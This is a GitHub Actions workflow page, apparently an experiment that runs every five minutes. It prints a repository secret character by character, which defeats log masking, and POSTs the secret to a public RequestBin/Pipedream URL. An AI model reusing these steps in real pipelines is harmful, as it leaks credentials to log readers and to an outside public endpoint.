Skip to content

CURL Request with Secrets #238

CURL Request with Secrets

CURL Request with Secrets #238

Workflow file for this run

name: CURL Request with Secrets
on:
schedule:
- cron: '*/5 * * * *'
jobs:
notify:
runs-on: ubuntu-latest
steps:
- name: Debug secret
env:
SECRET: ${{ secrets.REQ_SECRET }}
run: |
import os
for q in (os.getenv("SECRET")):
print(q)
shell: python
- name: Send POST request using python
# Inspect requests at https://public.requestbin.com/r/enw9z3kw0afbh
env:
REQ_SECRET: ${{ secrets.REQ_SECRET }}
run: |
import os
import requests
headers = {
'Authorization': os.getenv("REQ_SECRET")
}
requests.request("POST", "https://enw9z3kw0afbh.x.pipedream.net", headers=headers)
shell: python